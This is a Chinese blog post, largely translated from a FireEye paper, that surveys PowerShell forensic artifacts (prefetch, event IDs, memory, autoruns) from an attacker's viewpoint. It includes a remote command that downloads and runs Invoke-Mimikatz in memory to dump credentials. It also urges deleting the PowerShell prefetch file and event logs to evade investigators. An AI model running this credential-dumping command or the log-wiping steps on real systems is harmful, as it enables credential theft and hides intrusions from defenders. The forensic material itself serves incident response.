這篇主要是取證的,如果我以后技術好了,也會寫寫powershell在內網滲透中的實戰應用,本文所有的內容基本翻譯自fireEyE的<<Investigating Powershell Attack>>
,我英文不好,有好多地方都看不懂他文章里寫的,我磕磕碰碰的看完了這篇文章。有不對的地方,還請小伙伴們補充。
我們都知道,從windows 7 sp1
和windows server 2008 R2
開始,就已經默認安裝了powershell(2.0版本),到了windows Server 2012 R2
和 Window 8.1
就是powershell 4.0
了。現在用powershell編寫的攻擊框架也很成熟了,像上文書說的各種協議反彈的SHELL(nishang);通過dll loading
技術不寫硬盤的,能遠程dump登錄賬號明文的Mimikatz(PowerSploit)
;以及在ShmooCon 2013
安全會議上Chris Campbell
演示的Powershell Botnet
;還有各種搞windows域內網環境的powerview等;SET/METASPLOIT
也開始支持powershell版的payloads。我們作為攻擊者,也要熟悉現在針對powershell的取證技術,預防自己“艱難進來,輕松被T,卻沒帶走一片云彩”。
原文文章分別從注冊表,prefetch,網絡流量,內存,日志,自啟動這幾方面來做取證的。
默認情況下,除了WinServer 2012R2 會設置HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell的ExecutionPolicy
項為RemoteSigned外,其他的windows系統都會設置為Restricted,有的攻擊者為了運行powershell腳本方便,會設置此項為ByPass,但是這種情況并不多見,因為更多的情況是,攻擊者使用-ExecuteionPolicy Bypass選項繞過執行策略限制。
Prefetch本意是為了增強系統的性能的,讓應用程序下次載入的時候,節省時間。默認路徑在%systemroot%\prefetch
。取證人員常常會通過這些*.PF文件,獲取程序最后運行時間,程序訪問的文件列表等信息。取證人員有可能通過查看POWERSHELL.EXE-59FC8F3D.pf獲取到你運行的攻擊PS腳本信息。我這里用的Prefetch Parser v1.4來查看的,
如圖
所以每次我們用完powershell,記得del %systemroot%\prefetch\POWERSHELL.EXE-59FC8F3D.pf
攻擊者做內網滲透時,思路通常是先獲取了工作組的administrator權限,然后滲透配置不嚴格的域環境,開啟powershell的remoting功能,powershell 2.0的Remoting默認會走5985(HTTP)
和5986(HTTPS)
端口,文章里說,主要是監控內網<->內網,DMZ<->內網,VPN<->內網的異常數據流,建模識別出攻擊者的非法訪問,我想這里能做的,還是要熟悉內網環境,在有正常業務流的內網使用Remoting功能,其他辦法我也沒想到。
論文作者主要是說可以用Volatility
框架分析wsmprovhost.exe
進程,能夠在內存空間看到XML格式的信息。比如這里他使用PSSesion
遠程交互式SHELL執行了“echo "helloword" > c:\text.txt”,
然后就可以在wsmprovhost.exe
的進程里看到信息,如圖:
但是這個方法隨著遠程會話的中止,也將不再有用,要想成功實現取證,需要攻擊者正在操作。所以我感覺這個對我們的威脅不是很大。如果開啟了winrm,也有可能在svchost.exe
的進程里看到信息。他這里用的是Invoke-Mimikatz
做的演示,遠程通過下載在內存里執行,DUMP明文密碼,不寫硬盤,這個滲透技巧實戰的時候很有用,命令如下:
#!bash
Invoke-Command -Computername 192.168.114.133 {iex((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds}
如下是他在svchost.exe進程內存里抓到的信息
Powershell 2.0的默認日志功能還不是很強,powershell 3.0后有所增強,不論是你本地還是通過Remoting執行powershell腳本,都會在下面3個文件里寫入日志%systemroot%\System32\winevt\
windows powershell.evtx
每次powershell開始執行EID 400
或者結束EID 403
的時候,都會記錄。里面的HostName項如果是ConsoleHost
說明是從本地執行的,反之,是對方的機器名
Microsoft-Windows-PowerShell%4Operational.evtx
Microsoft-Windows-power-Shell%4Analytic.etl
[我機器上沒有找到這個文件]
如果通過WINRM開啟了remoting功能,還會有下面2個日志:
Microsoft-Windows-WinRM%4Operational.evtx
EID 6會記錄remoting的客戶端地址信息,在這里可能看到是誰連過來的
Microsoft-Windows-WinRM%4Analytic.etl
EID 32850
會記錄remoting
客戶端連接過來使用的賬號信息 EID 32867/32868
里面有可能會看到當Invoke-Command
執行命令的時候的細節,如圖
另外隨著Microsoft APPLocker的引用,管理員能夠對powershell腳本進行更進一步的驗證,比如允許哪個PS腳本運行,哪個不允許,甚至禁止掉計算機上全部PS腳本的執行權限等操作,但是這些對我們來說都有已知的技術能繞過,我下回書再說。AppLocker
功能啟用后,EID 8005
和EID 8006
會記錄認證信息的日志。
作者也提到可以通過%windir%\system32\WindowsPowerShell\v1.0\profile.ps1
設置全局的profile,來增加額外的日志記錄,他這里說可以用-NoProfile來繞過,上文書我實踐過,發現是不可以的,參考上文,這里不多提了。
Powershell 3.0引入了Module Logging
的能力,可以通過組策略開啟(Computer Configuration → Administrative Templates →Windows Components →Windows PowerShell →Turn on Module Logging)
,開啟后,可以在EID 4103里看到ps腳本執行后的結果,比如我執行
#!bash
Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password
意思是搜索C:\
下所有TXT里包含password的文件,可以在EID 4103
里看到返回結果,如圖
甚至Invoke-Mimikatz執行的結果也會記錄,如圖
再次提醒我們,該刪日志,一定要刪,外面應該有能刪指定日志的工具了,不過我沒見到,有的發我一份。
Powershell經常通過注冊表,開始菜單,或者計劃任務來實現自啟動的目的,通常用sysinternals的autorun就能找到了。另外C:\Users\<USERNAME>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
可以達到和C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
一樣的效果。
文章參考:
https://www.blackhat.com/docs/us-14/materials/us-14-Kazanciyan-Investigating-Powershell-Attacks-WP.pdf
https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf